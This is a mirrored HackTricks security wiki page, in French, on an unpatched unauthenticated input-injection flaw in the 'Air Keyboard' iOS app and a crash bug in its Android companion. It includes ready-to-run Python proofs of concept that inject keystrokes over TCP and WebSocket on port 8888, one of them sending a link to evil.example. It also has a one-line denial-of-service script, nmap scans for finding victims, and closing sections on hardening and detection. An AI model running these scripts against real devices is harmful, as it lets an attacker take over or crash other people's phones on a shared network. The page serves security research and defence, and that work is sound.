mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
173 lines
8.0 KiB
Markdown
173 lines
8.0 KiB
Markdown
# Injection d'Entrée à Distance Air Keyboard (Écouteur TCP / WebSocket Non Authentifié)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## TL;DR
|
||
|
||
La version iOS de l'application commerciale **“Air Keyboard”** (ID App Store 6463187929) expose un service de réseau local qui **accepte des trames de frappes sans aucune authentification ni vérification d'origine**. Selon la version installée, le service est soit :
|
||
|
||
* **≤ 1.0.4** – écouteur TCP brut sur **le port 8888** qui attend un en-tête de longueur de 2 octets suivi d'un *device-id* et de la charge utile ASCII.
|
||
* **≥ 1.0.5 (juin 2025)** – écouteur **WebSocket** sur le *même* port (**8888**) qui analyse des clés **JSON** telles que `{"type":1,"text":"…"}`.
|
||
|
||
Tout appareil sur le même Wi-Fi / sous-réseau peut donc **injecter des entrées clavier arbitraires dans le téléphone de la victime, réalisant un détournement complet de l'interaction à distance**. Une version Android compagnon écoute sur **le port 55535**. Elle effectue une poignée de main AES-ECB faible mais des données corrompues provoquent toujours une **exception non gérée à l'intérieur d'OpenSSL**, faisant planter le service en arrière-plan (**DoS**).
|
||
|
||
> La vulnérabilité est **toujours non corrigée au moment de l'écriture (juillet 2025)** et l'application reste disponible sur l'App Store.
|
||
|
||
---
|
||
|
||
## 1. Découverte de Service
|
||
|
||
Scannez le réseau local et recherchez les deux ports fixes utilisés par les applications :
|
||
```bash
|
||
# iOS (unauthenticated input-injection)
|
||
nmap -p 8888 --open 192.168.1.0/24
|
||
|
||
# Android (weakly-authenticated service)
|
||
nmap -p 55535 --open 192.168.1.0/24
|
||
```
|
||
Sur les appareils Android, vous pouvez identifier le package responsable localement :
|
||
```bash
|
||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||
# rooted device / Termux
|
||
netstat -tulpn | grep LISTEN
|
||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||
```
|
||
Sur **iOS jailbreaké**, vous pouvez faire quelque chose de similaire avec `lsof -i -nP | grep LISTEN | grep 8888`.
|
||
|
||
---
|
||
|
||
## 2. Détails du protocole (iOS)
|
||
|
||
### 2.1 Héritage (≤ 1.0.4) – cadres binaires personnalisés
|
||
```
|
||
[length (2 bytes little-endian)]
|
||
[device_id (1 byte)]
|
||
[payload ASCII keystrokes]
|
||
```
|
||
La *longueur* déclarée inclut le byte `device_id` **mais pas** l'en-tête de deux bytes lui-même.
|
||
|
||
### 2.2 Actuel (≥ 1.0.5) – JSON sur WebSocket
|
||
|
||
La version 1.0.5 a migré silencieusement vers les WebSockets tout en gardant le numéro de port inchangé. Un coup de touche minimal ressemble à :
|
||
```json
|
||
{
|
||
"type": 1, // 1 = insert text, 2 = special key
|
||
"text": "open -a Calculator\n",
|
||
"mode": 0,
|
||
"shiftKey": false,
|
||
"selectionStart": 0,
|
||
"selectionEnd": 0
|
||
}
|
||
```
|
||
Aucune poignée de main, jeton ou signature n'est requise – le premier objet JSON déclenche déjà l'événement UI.
|
||
|
||
---
|
||
|
||
## 3. Exploitation PoC
|
||
|
||
### 3.1 Ciblage ≤ 1.0.4 (TCP brut)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||
import socket, sys
|
||
|
||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||
|
||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||
frame += keystrokes
|
||
|
||
with socket.create_connection((target_ip, 8888)) as s:
|
||
s.sendall(frame)
|
||
print("[+] Injected", keystrokes)
|
||
```
|
||
### 3.2 Ciblage ≥ 1.0.5 (WebSocket)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||
import json, sys, websocket # `pip install websocket-client`
|
||
|
||
target_ip = sys.argv[1]
|
||
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||
ws.send(json.dumps({
|
||
"type": 1,
|
||
"text": "https://evil.example\n",
|
||
"mode": 0,
|
||
"shiftKey": False,
|
||
"selectionStart": 0,
|
||
"selectionEnd": 0
|
||
}))
|
||
ws.close()
|
||
print("[+] URL opened on target browser")
|
||
```
|
||
*Tout ASCII imprimable — y compris les sauts de ligne, les tabulations et la plupart des touches spéciales — peut être envoyé, donnant à l'attaquant le même pouvoir que l'entrée utilisateur physique : lancer des applications, envoyer des messages instantanés, ouvrir des URL malveillantes, basculer des paramètres, etc.*
|
||
|
||
---
|
||
|
||
## 4. Android Companion – Denial-of-Service
|
||
|
||
Le port Android (55535) attend un **mot de passe de 4 caractères chiffré avec une clé AES-128-ECB codée en dur** suivi d'un nonce aléatoire. Les erreurs de parsing remontent à `AES_decrypt()` et ne sont pas interceptées, terminant le thread d'écoute. Un seul paquet malformé suffit donc à maintenir les utilisateurs légitimes déconnectés jusqu'à ce que le processus soit relancé.
|
||
```python
|
||
import socket
|
||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||
```
|
||
---
|
||
|
||
## 5. Applications Connexes – Un Anti-Pattern Récurrent
|
||
|
||
Air Keyboard n'est **pas un cas isolé**. D'autres utilitaires mobiles de “clavier/souris à distance” ont été livrés avec la même faille :
|
||
|
||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 permettant l'exécution de commandes non authentifiées et l'enregistrement de touches en texte clair.
|
||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 RCE non authentifié & espionnage de trafic.
|
||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 mot de passe par défaut absent, brute-force de PIN faible et fuite en texte clair.
|
||
|
||
Ces cas mettent en évidence une négligence systémique des **surfaces d'attaque exposées sur les applications mobiles**.
|
||
|
||
---
|
||
|
||
## 6. Causes Fondamentales
|
||
|
||
1. **Pas de vérifications d'origine / d'intégrité** sur les trames entrantes (iOS).
|
||
2. **Mauvaise utilisation cryptographique** (clé statique, ECB, validation de longueur manquante) et **absence de gestion des exceptions** (Android).
|
||
3. **Droit Local-Network accordé par l'utilisateur ≠ sécurité** – iOS demande un consentement d'exécution pour le trafic LAN, mais cela ne remplace pas une authentification appropriée.
|
||
|
||
---
|
||
|
||
## 7. Renforcement & Mesures Défensives
|
||
|
||
Recommandations pour les développeurs :
|
||
|
||
* Lier l'écouteur à **`127.0.0.1`** et tunneliser via **mTLS** ou **Noise XX** si un contrôle à distance est nécessaire.
|
||
* Dériver des **secrets par appareil lors de l'intégration** (par exemple, code QR ou PIN de couplage) et imposer une authentification *mutuelle* avant de traiter les entrées.
|
||
* Adopter le **Apple Network Framework** avec *NWListener* + TLS au lieu de sockets bruts.
|
||
* Mettre en œuvre des **vérifications de longueur** et une gestion structurée des exceptions lors du déchiffrement ou du décodage des trames.
|
||
|
||
Gains rapides pour les équipes Blue-/Red-Team :
|
||
|
||
* **Chasse au réseau :** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ou filtre Wireshark `tcp.port == 8888`.
|
||
* **Inspection en temps réel :** Script Frida accrochant `socket()`/`NWConnection` pour lister les écouteurs inattendus.
|
||
* **Rapport de Confidentialité des Applications iOS (Réglages ▸ Confidentialité & Sécurité ▸ Rapport de Confidentialité des Applications)** met en évidence les applications qui contactent des adresses LAN – utile pour repérer des services malveillants.
|
||
* **EDR mobiles** peuvent ajouter des règles Yara-L simples pour les clés JSON `"selectionStart"`, `"selectionEnd"` à l'intérieur des charges TCP en texte clair sur le port 8888.
|
||
|
||
---
|
||
|
||
## Détection Cheat-Sheet (Pentesters)
|
||
```bash
|
||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||
| awk '/Ports/{print $2 " " $4}'
|
||
|
||
# Inspect running sockets on a connected Android target
|
||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||
```
|
||
---
|
||
|
||
## Références
|
||
|
||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|